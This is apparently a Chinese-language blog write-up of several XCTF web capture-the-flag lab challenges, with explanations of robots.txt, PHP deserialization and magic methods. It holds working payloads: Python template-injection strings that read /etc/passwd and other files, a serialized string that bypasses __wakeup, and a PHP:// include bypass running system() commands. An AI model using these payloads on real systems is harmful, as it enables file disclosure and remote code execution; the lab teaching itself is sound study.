baby_web:

1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显,

2.在header中获取flag,

flag:

flag{very_baby_web}

Training-WWW-Robots:

1.进入页面,

2.直接:http://IP:端口/robots.txt就能够访问,得到robots协议,发现一个fl0g.php但是无法访问,我们尝试直接访问,(用御剑直接扫描靶场也可得到php文件,直接访问同样可以获取flag)

flag:

cyberpeace{79df38364a852059f581632c44d043bf}

补充:

关于robots:
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。
如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

网站的根目录放一个robots.txt,会告诉搜索引擎这个网站里的那些文件可以访问,哪些不可以,

unserialize3:

1.进入页面,查看代码可知,要求通过_GET提交code值,绕过__wakeup()这个魔术方法,

2.利用反序列化漏洞:__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$x=new xctf();
echo serialize($x);
?>

获取反序列化的值:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

3.修改反序列化值为:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

flag:

cyberpeace{0246a70ac2b5885c194e9b6a0c6a3597}

补充:

php的序列化和反序列化:
php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串,
而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
(挂一张网图)

注意:
① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数

魔术方法

PHP中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能


与序列化和反序列化的魔术方法主要是:

  • __construct() //当一个对象创建时被调用
  • __destruct() //对象被销毁时触发
  • __wakeup() //使用unserialize时触发
  • __sleep() //使用serialize时触发
  • __toString() //把类当做字符串时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性

参考:

https://blog.csdn.net/silence1_/article/details/89716976

Web_python_template_injection:

1.进入页面,通过{{3+4}}可以判断存在python模板注入,

2.利用{{config.items() }}可以查看服务器的配置信息

4.寻找可用引用,

{{''.__class__.__mro__[2].__subclasses__()}}

5.可以看到有一个type file类型(可以进行文件读取)

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

6.

7.

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

flag:

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} 

参考:

https://www.freebuf.com/column/187845.html

https://blog.csdn.net/iamsongyu/article/details/85861811

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://xz.aliyun.com/t/2908

Web_php_include:

1.分析代码,可以看出只要有php://就会无限循环,

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

2. strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。

如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
strstr函数对大小写敏感,改成大写的PHP://

3.post传入:

<?php system("Is");?>

4.出现了三个文件,flag应该是在fl4g***.php这个文件中
用cat命令打开,<?php system ("cat fl4gisisish3r3.php")?>

flag:

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

参考:

(其他方法可以参考如下链接)
https://www.cnblogs.com/xhds/p/12218471.html

https://blog.csdn.net/Mr_helloword/article/details/107929653

攻防世界 - Web(一)的更多相关文章

  1. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  2. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  3. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  4. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  5. 攻防世界web新手区

    攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...

  6. XCTF攻防世界web进阶练习—mfw

    XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  9. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  10. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

随机推荐

  1. Day5 - 03 函数的参数-位置参数和默认参数

    位置参数    调用函数时,传入函数的参数,按照位置顺序依次赋值给函数的参数.#计算乘方的函数                def power(x, n):            s = 1     ...

  2. [python学习手册-笔记]004.动态类型

    004.动态类型 ❝ 本系列文章是我个人学习<python学习手册(第五版)>的学习笔记,其中大部分内容为该书的总结和个人理解,小部分内容为相关知识点的扩展. 非商业用途转载请注明作者和出 ...

  3. Java读取系统默认时区

    工作中,遇到一个Java读取默认时区的问题,后来看了openjdk的源码,大致整理一下过程 public class Test { public void test(){ TimeZone.getDe ...

  4. 面试 03-DOM事件的总结

    03-DOM事件的总结 #前言 要学习事件的基础内容,请看先本人之前的基础文章: <04-JavaScript基础/27-事件对象Event> <04-JavaScript基础/28 ...

  5. Python 微信公众号文章爬取

    一.思路 我们通过网页版的微信公众平台的图文消息中的超链接获取到我们需要的接口 从接口中我们可以得到对应的微信公众号和对应的所有微信公众号文章. 二.接口分析 获取微信公众号的接口: https:// ...

  6. VS中RDLC提示类型不一致

    错误"基类包括字段"XXXXXXX",但其类型(Microsoft.Reporting.WebForms.ReportViewer)与控件(Microsoft.Repor ...

  7. 【升级版】如何使用阿里云云解析API实现动态域名解析,搭建私有服务器【含可执行文件和源码】

    原文地址:http://www.yxxrui.cn/article/179.shtml 未经许可请勿转载,如有疑问,请联系作者:yxxrui@163.com 我遇到的问题:公司的网络没有固定的公网IP ...

  8. 使用Python实现搜索任意电影资源的磁力链接

    对于喜欢电影的人来说各种电影资源必不可少,但每次自己搜索都比较麻烦,索性用python自己写一个自动搜索的脚本. 这里我只分享我的思路,具体如何实现参考代码,要想实现搜索功能先要抓包分析如何发送数据, ...

  9. redo log 有什么作用?

    mysql 为了提升性能不会把每次的修改都实时同步到磁盘,而是会先存到Boffer Pool(缓冲池)里头,把这个当作缓存来用.然后使用后台线程去做缓冲池和磁盘之间的同步. 那么问题来了,如果还没来的 ...

  10. centosl7简洁版配置

    生产环境安装了精简版的centos7需要进行相关配置,添加相关组件才能更好的使用! 由于不同的安装方式欠缺的组件不尽相同,本例尽可能满足一般的生产环境的需要!!! 一.安装ifconfig服务 在没有 ...